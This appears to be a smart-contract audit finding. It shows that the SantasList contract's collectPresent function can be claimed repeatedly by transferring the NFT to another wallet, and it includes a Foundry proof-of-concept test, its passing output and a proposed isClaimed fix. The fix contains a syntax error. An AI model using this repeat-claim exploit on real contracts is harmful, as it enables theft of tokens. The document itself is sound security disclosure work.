Summary
collectPresent function allows eligible users to claim unlimited time instead of once.
Vulnerability Details
In collectPresent function users can claim nft or nft plus token as per there status. It should be claimable once when condition met. Here is complete details for vulneability.
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
@> if (balanceOf(msg.sender) > 0) {
@> revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
As pointed above, it checks if user nft balance is greator than zero to ensure that user has claimed already. But this is flawed, because user can transfer the nft to another wallet and call collectPresent again.
POC
In the existing test suite, write following test, create nftDump address as well in start, this will be used to transfer nft, to claim reward again and again.
/// existing code
address user = makeAddr("user");
+ address nftDump = makeAddr("nftDump");
address santa = makeAddr("santa");
existing code
function testAllPresentsAreMineLol () public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.warp(1_703_480_382);
vm.startPrank(user);
santasList.collectPresent();
santasList.safeTransferFrom(user, nftDump, 0, "");
santasList.collectPresent();
santasList.safeTransferFrom(user, nftDump, 1, "");
santasList.collectPresent();
santasList.safeTransferFrom(user, nftDump, 2, "");
vm.stopPrank();
}
Then run following command in your terminal forge test --match-test testAllPresentsAreMineLol -vv
it will print the result like this
[⠢] Compiling...
[⠃] Compiling 1 files with 0.8.22
[⠊] Solc 0.8.22 finished in 1.70s
Compiler run successful!
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testAllPresentsAreMineLol() (gas: 248207)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.90ms
Impact
Unfair advantage which can leads to other users dissatisfaction, if NFT and token has some monetary value that will affect as well.
Tools Used
Foundry
Recommendations
Add a mapping for this address => bool public isClaimed
correct way should look like this
pragma solidity 0.8.22;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {TokenUri} from "./TokenUri.sol";
import {SantaToken} from "./SantaToken.sol";
/*
* @title SantasList
* @author South Pole Elves 0x815f577f1c1bce213c012f166744937c889daf17
*
* @notice Santas's naughty or nice list, all on chain!
*/
contract SantasList is ERC721, TokenUri {
////EXISTING CODE
+ mapping (address => bool) isClaimed;
//// EXISTING CODE
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if(isClaimed[msg.sender]{
+ revert SantasList__AlreadyCollected();
+ }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ isClaimed[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ isClaimed[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
//// Existing code
}
